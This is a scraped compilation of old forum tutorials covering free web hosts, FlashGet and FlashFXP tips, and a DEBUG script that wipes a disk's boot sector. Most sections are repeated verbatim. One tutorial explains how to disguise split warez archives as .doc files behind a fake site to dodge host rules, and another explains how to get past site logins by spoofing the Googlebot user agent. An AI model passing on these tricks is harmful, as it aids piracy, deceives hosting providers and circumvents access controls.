page don't load
->http://www.qwikpages.com
now it's freecoolpages.com
10MB OF DISK SPACE
UNLIMITED BANDWIDTH
FTP ACCESS FOR UPLOADING
FREE EMAIL
->http://www.netomia.com
60 mb of space!
Your website may not contain or refer to sites with the following content: Porn, warez, hack or anything encouraging any kind of illegal activities or racism.
->www.netcolony.com
25 megs of webspace
Easy homepage creator
Unlimited bandwidth
Your own messageboard
Templates
Free Guestbook
Advanced editor
No fees - 100% FREE!
Fast servers
Provider:POHost
Service: Unlimited Disk Space
URL: http://www.pohost.com/
Summary: Unlimited disk space, Unlimited transfers, Fast servers,Real FTP Uploads,
Domain name hosting TGP Compliant, and more.
Provider:Free Web Hosting
Service: Unlimited Disk space
URL:http://www.freeweb-hosting.com/
Summary:Unlimited disk space,Unlimited transfers, FAST Servers ,Domain Hosting,
24/7 Real FTP Access,Friendly Support, Web Email, FREE Web Promotion.
Provider: Zoom Fast
Service: Unlimited Space
URL:http://www.zoomfast.com/
Summary: Unlimited space,Unlimited bandwith, High speed servers and more
URL: http://www.yoogo.com
Summary: Offering a great 50 MB of space plus other features like Email Forms, Guestbooks and even Message Boards. Funny name I'm sure you will agree yet worth a look because of the nice amount of space!
Provider: Worldzone.net
Service: 100 MB Webspace
URL: http://www.worldzone.net
Summary: Offering a fantasic 100 MB why not give them a go! They do not accept Warze & Porn sites so dont try to host your page here if you plan to run such a page. However, because of the amount of space they are offering then would make for a great place to dump your files!
Provider: WebJump
Service: 25 MB Webspace
URL: http://www.webjump.com
Summary: WebJump is another Small Business Provider offer a huge 25 MB for your website and unlimited bandwidth! Unlike B-City.com WebJump support the use of FTP Updates along with the use of Flash, JavaScript, WAV Files and other things as well. If you like using Email please note WebJump at this time do not offer either POP or Web Based Email Services
Provider: Web1000
Service: 25 MB Webspace
URL: http://www.web1000.com
Summary: N/A
Provider: Tripod
Service: 50 MB Webspace
URL: http://www.tripod.com
Summary: N/A
Provider: Spree.com
Service: Unlimited Webspace
URL: http://www.spree.com
Summary: Offering counters, builders, uploaders, HTML guide and a unlimited MB account spree.com could be a great place for junk files. If your running a Warze related website, try these guys out and tell me what you think!
Provider: SimplyCities
Service: 30 MB Webspace
URL: http://www.simplycities.com
Summary: Simplycities.com have just had a change in servers hence speed should be and better be at an all time high. On the website they claim to offer Unlimited Bandwidth yet at the end of that they have a little * displaying the fact conditions apply yet we could not find on the page details of this!?! Anyway they could be worth a look if just starting out!
Provider: Server2000.at
Service: Unlimited Webspace
URL: http://www.server2000.at
Summary: Only problem with this is it's not english.
Provider: Qwik Pages
Service: 100 MB Webspace
URL: http://www.qwikpages.com
Summary: N/A
Provider: Netomia
Service: 60 MB Webspace, Online Editor, Counter, Form Mail, Guestbook
URL: http://www.netomia.com
Summary: One of the few providers offering such huge space limits with a string of other great features need for any good website!
Provider: JustFree.com
Service: 40 MB Webspace
URL: http://www.justfree.com
Summary: Offering 40 MB and no bandwidth limit this should be a good choice in web hosting. They also offer free forums, live support, free guestbook & soon Free Email! We have been unable to test this provider 100% hence comments are welcome!
Provider: InfoCache
Service: 50 MB Webspace
URL: http://www.infocache.com
Summary: InfoCache offers a fantastic 50 MB of webspace which is great for any small business or personal website. They are now begining to offer Free Email and also offer a range of "pay" service which are very cheap compared to some providers. Worth a look just for the space!
Provider: FreeHomePages
Service: 50 MB Webspace
URL: http://www.freehomepages.com
Summary: They claim fast and stable server with offers of chat, form mailer, guestbooks, page builders, unlimited bandwith & unlimited hits to get the visitors in and when they offer this much space why not go for them!
Provider: Dynahost.net
Service: 25 MB Webspace [ 100 MB After Approval ]
URL: http://www.dynahost.net
Summary: Providing a nice amount of space with the option of increasing to 100 MB unlike most providers. Dynahost accounts also come with forums & a guestbook which is all updated able via your Web Browser!
Provider: Dreamwater
Service: 50 MB Webspace
URL: http://www.dreamwater.com
Summary: Offer 50 MB, Guestbook, Chat, Form Mailer, Web Templates, Builder, Clip Art, Search Submissions, Subdomain & Short URL, Unlimited Band * no hit limit! Because they offer so much we think they could have a large number of member hence a slow service yet you should test them for yourself
Provider: Dencity
Service: 25 MB Webspace
URL: http://www.dencity.com
Summary: Dencity is a well known provider offering a great 25 MB which is fantastic for any small user. They also offer a range of tools for its members plus a listing of HTML Code to help you along!
Provider: Atmosphere.be
Service: Webspace [Unlimited?] & 5 MB Email
URL: http://www.atmosphere.be
Summary: No Information
Provider: AFreeHome.com
Service: 50 MB Webspace
URL: http://www.afreehome.com
Summary: AFreeHome.com make out (in a round-about way) they hate Geocities.com! With the huge space they offer and no bandwidth limit they could be one of the best providers to date! They also claim to pay you US$10 for people you get to Sign Up yet this seems a little funny we think. Anyway - try them and inform us of how good/bad they are.
Provider: Above World
Service: 25 MB Webspace [Possible 60 MB of space]
URL: http://www.aboveworld.com
Summary: Above World claim to offer a 100% Free Virtual Domain along with 25 MB of webspace plus chat board and guestbook! When checking the above details on the Above World Website they listed via text they offer 25 MB yet a visible banner said 60 MB. We can provide no further information.
Provider: 50megs
Service: 50 MB Webspace
URL: http://www.50megs.com
Summary: 50megs.com is only one of a few providers offering such huge amounts of webspace for free. It comes with other services like Web Polls, counters and much more.
Provider: 00server
Service: 20 MB Webspace [Short URL Provided]
URL: http://www.00server.com
Summary: 00server offers a wide range of domains to suite most styles of websites. Along with the short domain names you get a fantastic 20 MB for your website. Known for its fast service yet the banner is always a down side to any provider!
Provider: 1and1
Service: 500 MB web space
5,000 MB/month traffic ($.99 per GB for additional traffic)
site statistics, log files, ready-to-run CGI-library, own CGI programming (Perl, Python), FrontPage 2002 extensions
Advanced Password Protection
5 FTP accounts
PHP3 & PHP4 MySQL
Proxy SSL Secure Server
Cron Jobs
SSH Secure Shell Access
URL: http://order.1and1.com/
Periodical time limited offers
PunoSoft Mail:
http://www.punosoft.com:32000/mail
-You can check email via website, OR I can give you the details on how to configure Outlook or Outlook Express for mail retrieval/send.
PunoSoft Gallery:
http://www.punosoft.com/gallery
-Great for sharing photos or "Signatures".
-Sign Up and I'll send you details on how to upload your photos and how to access them.
PunoSoft Web Host:
http://www.punosoft.com/webhost
125MB Hosting Service - http://www.125mb.com
XAXAX FREE HOSTING - http://free.xaxax.com
FREE HOSTiNG @ HOSTARS - http://hostars.com
CyberFreeHost - http://www.cyberfreehost.com
ULTRA FREE HOST - http://www.ultrafreehost.com
20forfree.com :: Free Web Hosting - http://www.20forfree.com
HentaiRack.com :: FREE HEntai Web Hosting - http://www.hentairack.com
EZ SEX HOST Free Adult Hosting - http://www.ezsexhost.com
FREE Hosting For WAREZ
FREE Hosting For WAREZ
Tutorial: Free Hosting For Warez (how to do it...)
By: darkraven (aka bobbasic)
Level: Average (takes time)
Place to stick your warez and how to do it.
if you have a file you wish to upload and its too large for a free webhost and you still want it online try this method.
www.rarlab.com: download rar and cut the file up into 1MB files.
Mass Rename them to .doc (i forgot how to do it but its via CMD)
www.hostultra.com: sign up for the free hosting, which has unlimited bandwidth and space with a REAL (yet not your main) hotmail account.
Upload the files via FTP
Goto www.projectw.org
and tell people the link ie. http://www.hostultra.com/blah/blah1.doc - blah100.doc
Use Flashget to download!
And there you have it, as long as the people on hostultra dont find your site your fine icon_razz.gif
Downsides:
hostultra only allows max file size of 1MB files.
hostultra does not allow .exe or .mp3
Hostultra:
Unlimited Data Transfer
Unlimited Disk Space
100mbps Network Connection
99.9% Uptime
Free Sub Directory ( hostultra.com/~you )
Cool yourname.vzz.net URL!
Free Subdomains ( Many domains to choose from! )
Free Domain Hosting ( yourdomain.com )
Custom Domain DNS Control ( A/CNAME/MX Records )
Browser and FTP Uploading
PHP / MySQL*
Unlimited Domains / Unlimited Subdomains
Free Search Engine Submission
Terms Of Use For HostUltra
# In addition to the above, User shall not upload onto their hostultra web space any of the following:
1. audio or video files of any type this includes but is not limited to .wma .wmv .wav .mp3 .avi .mpg .asf .mov (however flash and midi files are allowed);
2. spanned archives such as such as .z01 .rar .ace;
3. any binary files that are not linked to an html page on the Site;
4. sites which contain only (or mostly) downloadable files;
5. download sites of any kind, including but not limited to, shareware, freeware, trialware, demos, warez, appz, gamez, iso, cracks;
6. photo albums, image galleries or TGPs;
(THOUGH WHOS LISTENING TO THE RULES?!)
to make it less likely hostultra will delete your account, add a fake little site on there, like a few pages of crappy html about some stupid thing which has nothing to do with warez. (ie. bob's site)
Tutorial: Free Hosting For Warez (how to do it...)
By: darkraven (aka bobbasic)
Level: Average (takes time)
Place to stick your warez and how to do it.
if you have a file you wish to upload and its too large for a free webhost and you still want it online try this method.
www.rarlab.com: download rar and cut the file up into 1MB files.
Mass Rename them to .doc (i forgot how to do it but its via CMD)
www.hostultra.com: sign up for the free hosting, which has unlimited bandwidth and space with a REAL (yet not your main) hotmail account.
Upload the files via FTP
Goto www.projectw.org
and tell people the link ie. http://www.hostultra.com/blah/blah1.doc - blah100.doc
Use Flashget to download!
And there you have it, as long as the people on hostultra dont find your site your fine icon_razz.gif
Downsides:
hostultra only allows max file size of 1MB files.
hostultra does not allow .exe or .mp3
Hostultra:
Unlimited Data Transfer
Unlimited Disk Space
100mbps Network Connection
99.9% Uptime
Free Sub Directory ( hostultra.com/~you )
Cool yourname.vzz.net URL!
Free Subdomains ( Many domains to choose from! )
Free Domain Hosting ( yourdomain.com )
Custom Domain DNS Control ( A/CNAME/MX Records )
Browser and FTP Uploading
PHP / MySQL*
Unlimited Domains / Unlimited Subdomains
Free Search Engine Submission
Terms Of Use For HostUltra
# In addition to the above, User shall not upload onto their hostultra web space any of the following:
1. audio or video files of any type this includes but is not limited to .wma .wmv .wav .mp3 .avi .mpg .asf .mov (however flash and midi files are allowed);
2. spanned archives such as such as .z01 .rar .ace;
3. any binary files that are not linked to an html page on the Site;
4. sites which contain only (or mostly) downloadable files;
5. download sites of any kind, including but not limited to, shareware, freeware, trialware, demos, warez, appz, gamez, iso, cracks;
6. photo albums, image galleries or TGPs;
(THOUGH WHOS LISTENING TO THE RULES?!)
to make it less likely hostultra will delete your account, add a fake little site on there, like a few pages of crappy html about some stupid thing which has nothing to do with warez. (ie. bob's site)
Free Access To Websites Without Registering
Free Access To Websites Without Registering
Go to
-http://bugmenot.com/
and type the URL of the website you want to log into.
Examples:
-http://www.nytimes.com/, -http://www.winnetmag.com/
etcetera.
Another (and better) way is changing the user agent of your browser to:
Googlebot/2.1+
-http://www.googlebot.com/bot.html
This is very easy in Mozilla's Firefox. Download and install the User Agent Switcher from
-http://www.chrispederick.com/work/firefox/useragentswitcher/
and add the Googlebot user agent.
Have fun, Dead Dreamer!
-]Edit[- Now this kicks ass, was just browsing entire forum without even needing to login to view restricted areas, and it works on other sites
And no, you cant access the hidden forums either, already tried that
Go to
-http://bugmenot.com/
and type the URL of the website you want to log into.
Examples:
-http://www.nytimes.com/, -http://www.winnetmag.com/
etcetera.
Another (and better) way is changing the user agent of your browser to:
Googlebot/2.1+
-http://www.googlebot.com/bot.html
This is very easy in Mozilla's Firefox. Download and install the User Agent Switcher from
-http://www.chrispederick.com/work/firefox/useragentswitcher/
and add the Googlebot user agent.
Have fun, Dead Dreamer!
-]Edit[- Now this kicks ass, was just browsing entire forum without even needing to login to view restricted areas, and it works on other sites
And no, you cant access the hidden forums either, already tried that
Formatting An Hdd, when fdisk won't
This was originally posted by andro11meda in Hardware and Networking Support. It worked so well for me on a problem-computer that I was working on that I had to post it in tutorials. Thanks andro11meda!!
***
This is my favorite way to wipe it clean:
CAUTION: This debug script is for advanced users only. Its Purpose is to remove all formatting and partitioning information from your hard disk when FDISK is unable to do so. THIS WILL REMOVE ALL DATA AND PROGRAMS FORM THE DRIVE.
1. Create a MSDOS bood disk with Debug
2. At DOS command prompt type the following: Debug[Enter] (Where enter is to press the enter key once)
NOTE: Type the following bolded text only. You will recieve an error if you type anything other than the bold text. The non-bolded text represents what will appear on you screen once you press [Enter] after each command.
-F 200 L1000 0 [Enter]
-A CS:100 [Enter]
xxxx:0100 MOV AX,301 [Enter]
xxxx:0103 MOV BX,200 [Enter]
xxxx:0106 MOV CX,1 [Enter]
xxxx:0109 MOV DX,80 [Enter]
NOTE: ( --- "80" for hd0, "81" for hd1)
xxxx:010c INT 13 [Enter]
xxxx: 010e INT 20 [Enter]
xxxx: 0110 [Enter]
-G [Enter]
"Program terminated normally"
3. Turn off the computer. On the next startup the hard drive will need to be partitioned and formatted.
***
***
This is my favorite way to wipe it clean:
CAUTION: This debug script is for advanced users only. Its Purpose is to remove all formatting and partitioning information from your hard disk when FDISK is unable to do so. THIS WILL REMOVE ALL DATA AND PROGRAMS FORM THE DRIVE.
1. Create a MSDOS bood disk with Debug
2. At DOS command prompt type the following: Debug[Enter] (Where enter is to press the enter key once)
NOTE: Type the following bolded text only. You will recieve an error if you type anything other than the bold text. The non-bolded text represents what will appear on you screen once you press [Enter] after each command.
-F 200 L1000 0 [Enter]
-A CS:100 [Enter]
xxxx:0100 MOV AX,301 [Enter]
xxxx:0103 MOV BX,200 [Enter]
xxxx:0106 MOV CX,1 [Enter]
xxxx:0109 MOV DX,80 [Enter]
NOTE: ( --- "80" for hd0, "81" for hd1)
xxxx:010c INT 13 [Enter]
xxxx: 010e INT 20 [Enter]
xxxx: 0110 [Enter]
-G [Enter]
"Program terminated normally"
3. Turn off the computer. On the next startup the hard drive will need to be partitioned and formatted.
***
Flashing A Video Card Bios [advanced Guide], Step-by-Step Guide for Novice and Expert
PCStats have a new advanced guide out for flashing your video card BIOS! While this *not* something for the novice to undertake, flashing your video card BIOS may lead to performance and feature enhancements.
We recently ran an article on flashing (reprogramming) the BIOS (Basic Input/Output System) of your motherboard to enable new features and fix errors. That got us thinking that we'd only covered half the story. Sure, hardware enthusiasts have been upgrading the BIOS on their motherboards for years, but what about the other components of a computer system?
Here's a snap:
Video cards in particular have an interesting history in relation to the BIOS flashing procedure. While motherboard BIOS fixes generally add support for new processors and fix hardware glitches, video card BIOS updates have the potential to do much more. Enterprising tech-heads have discovered instances where a video card can actually be transformed by a BIOS update, activating hidden features and potential buried performance aspects by the manufacturer (generally for marketing purposes).
Click here for the full guide:
http://www.pcstats.com/articleview.cfm?articleID=1633
--------------------------------------------------------------------------------------------------------
We recently ran an article on flashing (reprogramming) the BIOS (Basic Input/Output System) of your motherboard to enable new features and fix errors. That got us thinking that we'd only covered half the story. Sure, hardware enthusiasts have been upgrading the BIOS on their motherboards for years, but what about the other components of a computer system?
Here's a snap:
Video cards in particular have an interesting history in relation to the BIOS flashing procedure. While motherboard BIOS fixes generally add support for new processors and fix hardware glitches, video card BIOS updates have the potential to do much more. Enterprising tech-heads have discovered instances where a video card can actually be transformed by a BIOS update, activating hidden features and potential buried performance aspects by the manufacturer (generally for marketing purposes).
Click here for the full guide:
http://www.pcstats.com/articleview.cfm?articleID=1633
--------------------------------------------------------------------------------------------------------
FlashGet v1.4 - More Download Simultaneously
Pre-Note
This tutorial was originally posted by someone else in this forum (sorry - cannot remember who the person was), and is repost by me.
Tutorial Objective
This tutorial guides the user how he/she is able to specify more files download at the same time from the FlashGet Option setting.
Tutorial Introduction & Background & Fact
Pre-requistes Tools
* FlashGet v1.4
Terminology & Explanation
Implementation
This tutorial requires you to modify the registry; therefore, backup your registry before you start to implement what this tutorial says.
CODE
Start "regedit" and go to
HKEY_CURRENT_USER\Software\JetCar\JetCar\General
open "General"
right-click with your mouse into the right window
and create a new "DWORD" value
name new value "MaxSimJobs"
now doubleclick "MaxSimJobs" ,chose "dezimal" and
enter a new value "100"
press "return" and close registry-editor
In Flashget/tools/ options you can now set max.downloads to 100
instead of 8.
Benefical
* It allows the user to have more files to download simultaneously by using FlashGet v1.4 download manager.
Additional Information
(None)
Search Keyword
FlashGet multiple download simultaneously simultaneous
This tutorial was originally posted by someone else in this forum (sorry - cannot remember who the person was), and is repost by me.
Tutorial Objective
This tutorial guides the user how he/she is able to specify more files download at the same time from the FlashGet Option setting.
Tutorial Introduction & Background & Fact
Pre-requistes Tools
* FlashGet v1.4
Terminology & Explanation
Implementation
This tutorial requires you to modify the registry; therefore, backup your registry before you start to implement what this tutorial says.
CODE
Start "regedit" and go to
HKEY_CURRENT_USER\Software\JetCar\JetCar\General
open "General"
right-click with your mouse into the right window
and create a new "DWORD" value
name new value "MaxSimJobs"
now doubleclick "MaxSimJobs" ,chose "dezimal" and
enter a new value "100"
press "return" and close registry-editor
In Flashget/tools/ options you can now set max.downloads to 100
instead of 8.
Benefical
* It allows the user to have more files to download simultaneously by using FlashGet v1.4 download manager.
Additional Information
(None)
Search Keyword
FlashGet multiple download simultaneously simultaneous
FLASHGET INTEGRATION IN OPERA,MOZILLA,NETSCAPE
1ST -> DOWNLOAD THIS: http://www.amazesoft.com/npfg11.exe
THEN:
Opera5&6 & Netscape6.x, 7.x, Mozilla 1.x and Mozilla Firefox 0.x
Please download FlashGet Opera Plug-in 1.1. Install this plug-in into ...\Opera\Plugins or ...\Netscape6\Plugins or ..\Mozilla\Plugins or ..\FireFox\plugins directory.
Netscape 6 does not support the same click monitoring methods used by FlashGet with previous versions of Netscape. They left out the features that have been there since Netscape Version 1.0. For now, you must either:
Right click the links and do "Copy Link Location".
Or, the plugins used for FlashGet's Opera click monitoring do work in Netscape--with some quirks and differences from the other click monitoring. Just install FlashGet's Opera plugins into the ...\Netscape\Plugins directory.
Menuitem "Download by FlashGet" in Mozilla FireFox
FlashGot is an extension for integrating FlashGet and Mozilla Firefox 0.9 or later. It is available on Mozilla Update. Note that some antivirus software may incorrecly claim that it has a virus, as it uses Visual Basic Script (.vbs) files when integrating with Internet Explorer. Thanks Giorgio Maone.
Menuitem "Download by FlashGet" in Opera
see How Customizing Opera's context-menus.
Opera 7
Install this plug-in into ...\Opera7\Plugins and enable it in Opera(Menu->File->Preferences...)
NetCaptor
Must use monitor method 2 in FlashGet(default setting), also need enable "Brower help object" in netcaptor options/general.
2: MENU ITEM -> DOWNLOAD USING FLASHGET!!!
Customizing Opera's context-menus
=================================
Build #040912
What's this about?
~~~~~~~~~~~~~~~~~~
Using Opera 7.x one is able to customize the rightclick menus. That in
mind it's possible to add a menu item for "Download using FlashGet".
First you need to know, that every kind of menu entry in Opera is
saved as plaintext in standard_menu.ini in the Opera defaults folder
(normally C:\Program Files\Opera7\defaults). So, we need to modify this
file in order to add our FlashGet menu extension.
Requirements
~~~~~~~~~~~~
- Opera 7.0 or above
- FlashGet 1.60 or above
Here we go!
~~~~~~~~~~~
1) Get the folder where Opera is installed. See the registry at
[HKLM\SOFTWARE\Netscape\Netscape Navigator\5.0, Opera\Main]
"Install Directory"="C:\\Program Files\\Opera7"
From here on I will use %opera% instead of the whole path we got
from the registry since we need to save this info into a variable
to use it in our program.
ATTENTION! Be sure to not use this variable in any files we modify!
Always use the whole path we got from the registry. Otherwise it
will mess up your Opera installation!
2) Goto this folder and copy
%opera%\defaults\standard_menu.ini
to
%opera%\profile\menu\standard_menu.ini
3) Open this file with a text editor and change the following:
- change the name (line 7) into "Opera Standard with FlashGet extension"
- search for the categories
"[Link Popup Menu]" and "[Image Link Popup Menu]"
and add the following line to both categories:
Item, "Download using FlashGet" = Execute program, "C:\Program Files\FlashGet\flashget.exe","%l"
That is a lowercase L after the last %
- save the file and start Opera
4) Goto "File/Preferences/Toolbars and Menus". In newer versions
it's called "Extra's/Preferences/Toolbars and Menus" and highlight
the new entry "Opera Standard with FlashGet extension" in the field
"Menu setup"
5) Press "OK" and that's it! Now you can download link-targets (both
text- AND image-links) by right-clicking on a link and choose
"Download using FlashGet".
Hint:
~~~~~
You can skip 4) and 5) if you add the following line into section [User Prefs]
of the file %opera%\profile\opera6.ini
Menu Configuration=%opera%\profile\menu\standard_menu.ini
This can easily be done using Nullsoft's NSIS Installer 2.0.
Get it from www.nullsoft.com
THEN:
Opera5&6 & Netscape6.x, 7.x, Mozilla 1.x and Mozilla Firefox 0.x
Please download FlashGet Opera Plug-in 1.1. Install this plug-in into ...\Opera\Plugins or ...\Netscape6\Plugins or ..\Mozilla\Plugins or ..\FireFox\plugins directory.
Netscape 6 does not support the same click monitoring methods used by FlashGet with previous versions of Netscape. They left out the features that have been there since Netscape Version 1.0. For now, you must either:
Right click the links and do "Copy Link Location".
Or, the plugins used for FlashGet's Opera click monitoring do work in Netscape--with some quirks and differences from the other click monitoring. Just install FlashGet's Opera plugins into the ...\Netscape\Plugins directory.
Menuitem "Download by FlashGet" in Mozilla FireFox
FlashGot is an extension for integrating FlashGet and Mozilla Firefox 0.9 or later. It is available on Mozilla Update. Note that some antivirus software may incorrecly claim that it has a virus, as it uses Visual Basic Script (.vbs) files when integrating with Internet Explorer. Thanks Giorgio Maone.
Menuitem "Download by FlashGet" in Opera
see How Customizing Opera's context-menus.
Opera 7
Install this plug-in into ...\Opera7\Plugins and enable it in Opera(Menu->File->Preferences...)
NetCaptor
Must use monitor method 2 in FlashGet(default setting), also need enable "Brower help object" in netcaptor options/general.
2: MENU ITEM -> DOWNLOAD USING FLASHGET!!!
Customizing Opera's context-menus
=================================
Build #040912
What's this about?
~~~~~~~~~~~~~~~~~~
Using Opera 7.x one is able to customize the rightclick menus. That in
mind it's possible to add a menu item for "Download using FlashGet".
First you need to know, that every kind of menu entry in Opera is
saved as plaintext in standard_menu.ini in the Opera defaults folder
(normally C:\Program Files\Opera7\defaults). So, we need to modify this
file in order to add our FlashGet menu extension.
Requirements
~~~~~~~~~~~~
- Opera 7.0 or above
- FlashGet 1.60 or above
Here we go!
~~~~~~~~~~~
1) Get the folder where Opera is installed. See the registry at
[HKLM\SOFTWARE\Netscape\Netscape Navigator\5.0, Opera\Main]
"Install Directory"="C:\\Program Files\\Opera7"
From here on I will use %opera% instead of the whole path we got
from the registry since we need to save this info into a variable
to use it in our program.
ATTENTION! Be sure to not use this variable in any files we modify!
Always use the whole path we got from the registry. Otherwise it
will mess up your Opera installation!
2) Goto this folder and copy
%opera%\defaults\standard_menu.ini
to
%opera%\profile\menu\standard_menu.ini
3) Open this file with a text editor and change the following:
- change the name (line 7) into "Opera Standard with FlashGet extension"
- search for the categories
"[Link Popup Menu]" and "[Image Link Popup Menu]"
and add the following line to both categories:
Item, "Download using FlashGet" = Execute program, "C:\Program Files\FlashGet\flashget.exe","%l"
That is a lowercase L after the last %
- save the file and start Opera
4) Goto "File/Preferences/Toolbars and Menus". In newer versions
it's called "Extra's/Preferences/Toolbars and Menus" and highlight
the new entry "Opera Standard with FlashGet extension" in the field
"Menu setup"
5) Press "OK" and that's it! Now you can download link-targets (both
text- AND image-links) by right-clicking on a link and choose
"Download using FlashGet".
Hint:
~~~~~
You can skip 4) and 5) if you add the following line into section [User Prefs]
of the file %opera%\profile\opera6.ini
Menu Configuration=%opera%\profile\menu\standard_menu.ini
This can easily be done using Nullsoft's NSIS Installer 2.0.
Get it from www.nullsoft.com
Flashget Broadband Tweak
Flashget Broadband Tweak
Just double-click on the FlashGetRegTweak.reg file to enter the tweak into the registry. This tweak will allow up to 100 simultaneous file downloads, each split into a max of 30 parts. Previous defaults were 8 & 10 respectively.
Note:
1. Works for dialup but not really advantageous.
2. Restart your computer to feel the full advantage of this tweak.
Download:
here it is
just copy to notepad
rename to Iwillsinglehandedlykillallthebandwidthfromtheserversidownloadfrom.reg
REGEDIT4
[HKEY_CURRENT_USER\Software\JetCar\JetCar\General]
"Max Parallel Num"="100"
"MaxSimJobs"="100"
Just double-click on the FlashGetRegTweak.reg file to enter the tweak into the registry. This tweak will allow up to 100 simultaneous file downloads, each split into a max of 30 parts. Previous defaults were 8 & 10 respectively.
Note:
1. Works for dialup but not really advantageous.
2. Restart your computer to feel the full advantage of this tweak.
Download:
here it is
just copy to notepad
rename to Iwillsinglehandedlykillallthebandwidthfromtheserversidownloadfrom.reg
REGEDIT4
[HKEY_CURRENT_USER\Software\JetCar\JetCar\General]
"Max Parallel Num"="100"
"MaxSimJobs"="100"
FlashFXP FAQ
Frequently Asked Questions
For most updated content, visit our website
Q: What is FXP?
A: FXP is a term adopted by earlier clients which provided site to site FTP transfers.
Q: When trying to transfer files from one site to another I keep getting this error 500 illegal port command.
A: The FTP Server is set up to not allow or doesn't support FXP. Located in the Site Manager on the Advanced tab, you will find the option "alternative fxp method". By enabling upload/download (depending on the direction of the transfer), you may be able to get the server to allow FXP. Note: It is common for some sites to only allow FXP in one direction and not the other. By enabling alternative fxp method, this problem is sometimes solved.
Q: Why do I keep getting this message: "Only client IP address allowed for PORT command" when trying to FXP?
A: The FTP Server is set up to block FXP. In most cases using alternative fxp method doesn't solve this problem.
Q: I've tried everything but I can't get a site to site transfer to work, what is wrong?
A: Site to site transfers are not supported by some software/hardware configurations. Often, this is due to an incompatibility with NAT (Network Address Translation). NAT is not aware of site to site transfers and when it detects you are attempting to transfer a file, it modifies the FTP protocol to match your local "inside" IP. Several users have reported that Microsoft Internet Sharing is not compatible.
Q: Why can't I see any files? I can see them in other ftp clients.
A: There are two possible reasons.
1. You are behind a firewall and the FTP server is unable to connect to your computer. To resolve this issue you need to use Passive mode. This option is located in Preferences on the Proxy tab. Check "Use Passive mode".
2. The files may be hidden on the ftp server, and in order to see them you need to change the list method. This is located in Preferences on the Options tab. Change the List method to show hidden files. Note: some sites don't allow you to view hidden files and will result in an error. To resolve this problem, go into the Site Manager, select the site and click the advanced tab. Uncheck "show hidden files", then save to keep the changes
Q: I can't see the toolbar icons or the icons are messed up.
A: This problem happens on Windows 95 systems when the \Windows\System\ComCtl32.dll file is out of date. This DLL is responsible for drawing the toolbar buttons and their images. You can download the latest version from this link: MS Common Control Update!
Q: When FXPing why doesn't FlashFXP show a file progress, transfer speed or how much time is remaining?
A: The FXP protocol (site to site) doesn't provide any means of measurement. After one file is FXPed, FlashFXP attempts to estimate the remaining time for the next file and total remaining time for all files in the queue.
Q: Will FlashFXP ever support connecting to more then 2 sites?
A: FlashFXP was designed to provide very easy access and usability to the site to site feature. Allowing more than two would only complicate things. For now let's stick with 2.
Q: Why doesn't FlashFXP support Squid?
A: FlashFXP v1.3 now supports it.
Q: Why doesn't FlashFXP download http:// urls from the clipboard?
A: FlashFXP is not a browser or a web download manager. For FlashFXP you need to use the ftp addresses.
Q: Is it possible to import site lists from another FTP clients?
A: Yes, You can import other site lists into FlashFXP from the Site Manager by right-clicking on the site list and selecting Import from the menu.
Q: FlashFXP looks confusing, All I want to do is download and upload files. I don't need site to site transfers.. help!?!
A: We have just the thing for you, With a click of the mouse FlashFXP can transform into your normal looking FTP client. From the main menu select View then click FTP Only. You can always uncheck this later to bring back the power of site to site transfers.
Q: I use ZipMagic and now all of my zips appear as folders in FlashFXP, how can I make the zips appear as zips?
A: You need to make one small change in the ZipMagic Properties window. First, click the Start Menu, then go to Programs|ZipMagic 4.0|ZipMagic Properties. Click the "Zip Folders" button, then click the "Applications" button. Then just add FlashFXP to the list of applications that sees zip files as files.
Q: I purchased FlashFXP v1.x-1.3 and my key doesn't work for v1.4-v2.0!
A: The key format was changed starting with version 1.4. You will need to email support@flashfxp.com and request a new one. New keys are provided free of charge.
For most updated content, visit our website
Q: What is FXP?
A: FXP is a term adopted by earlier clients which provided site to site FTP transfers.
Q: When trying to transfer files from one site to another I keep getting this error 500 illegal port command.
A: The FTP Server is set up to not allow or doesn't support FXP. Located in the Site Manager on the Advanced tab, you will find the option "alternative fxp method". By enabling upload/download (depending on the direction of the transfer), you may be able to get the server to allow FXP. Note: It is common for some sites to only allow FXP in one direction and not the other. By enabling alternative fxp method, this problem is sometimes solved.
Q: Why do I keep getting this message: "Only client IP address allowed for PORT command" when trying to FXP?
A: The FTP Server is set up to block FXP. In most cases using alternative fxp method doesn't solve this problem.
Q: I've tried everything but I can't get a site to site transfer to work, what is wrong?
A: Site to site transfers are not supported by some software/hardware configurations. Often, this is due to an incompatibility with NAT (Network Address Translation). NAT is not aware of site to site transfers and when it detects you are attempting to transfer a file, it modifies the FTP protocol to match your local "inside" IP. Several users have reported that Microsoft Internet Sharing is not compatible.
Q: Why can't I see any files? I can see them in other ftp clients.
A: There are two possible reasons.
1. You are behind a firewall and the FTP server is unable to connect to your computer. To resolve this issue you need to use Passive mode. This option is located in Preferences on the Proxy tab. Check "Use Passive mode".
2. The files may be hidden on the ftp server, and in order to see them you need to change the list method. This is located in Preferences on the Options tab. Change the List method to show hidden files. Note: some sites don't allow you to view hidden files and will result in an error. To resolve this problem, go into the Site Manager, select the site and click the advanced tab. Uncheck "show hidden files", then save to keep the changes
Q: I can't see the toolbar icons or the icons are messed up.
A: This problem happens on Windows 95 systems when the \Windows\System\ComCtl32.dll file is out of date. This DLL is responsible for drawing the toolbar buttons and their images. You can download the latest version from this link: MS Common Control Update!
Q: When FXPing why doesn't FlashFXP show a file progress, transfer speed or how much time is remaining?
A: The FXP protocol (site to site) doesn't provide any means of measurement. After one file is FXPed, FlashFXP attempts to estimate the remaining time for the next file and total remaining time for all files in the queue.
Q: Will FlashFXP ever support connecting to more then 2 sites?
A: FlashFXP was designed to provide very easy access and usability to the site to site feature. Allowing more than two would only complicate things. For now let's stick with 2.
Q: Why doesn't FlashFXP support Squid?
A: FlashFXP v1.3 now supports it.
Q: Why doesn't FlashFXP download http:// urls from the clipboard?
A: FlashFXP is not a browser or a web download manager. For FlashFXP you need to use the ftp addresses.
Q: Is it possible to import site lists from another FTP clients?
A: Yes, You can import other site lists into FlashFXP from the Site Manager by right-clicking on the site list and selecting Import from the menu.
Q: FlashFXP looks confusing, All I want to do is download and upload files. I don't need site to site transfers.. help!?!
A: We have just the thing for you, With a click of the mouse FlashFXP can transform into your normal looking FTP client. From the main menu select View then click FTP Only. You can always uncheck this later to bring back the power of site to site transfers.
Q: I use ZipMagic and now all of my zips appear as folders in FlashFXP, how can I make the zips appear as zips?
